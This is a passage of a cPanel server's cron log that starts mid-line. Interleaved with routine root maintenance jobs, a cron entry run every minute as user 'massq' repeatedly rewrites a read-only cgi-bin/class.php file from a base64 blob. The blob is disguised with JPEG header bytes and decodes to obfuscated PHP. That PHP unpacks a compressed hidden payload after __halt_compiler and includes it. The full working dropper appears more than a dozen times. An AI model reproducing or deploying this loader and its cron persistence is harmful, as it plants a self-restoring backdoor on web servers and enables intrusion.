"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:37:01 server CROND[12301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:38:01 server CROND[12371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:39:01 server CROND[12449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:39:01 server CROND[12450]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 13:40:01 server CROND[12531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:40:01 server CROND[12532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:40:01 server CROND[12533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:40:01 server CROND[12534]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:41:01 server CROND[12776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:42:01 server CROND[12864]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 13:42:01 server CROND[12865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:43:01 server CROND[12949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:44:01 server CROND[13031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:45:01 server CROND[13113]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:45:01 server CROND[13115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:45:01 server CROND[13116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:46:01 server CROND[13331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:47:01 server CROND[13403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:48:01 server CROND[13486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:49:01 server CROND[13560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
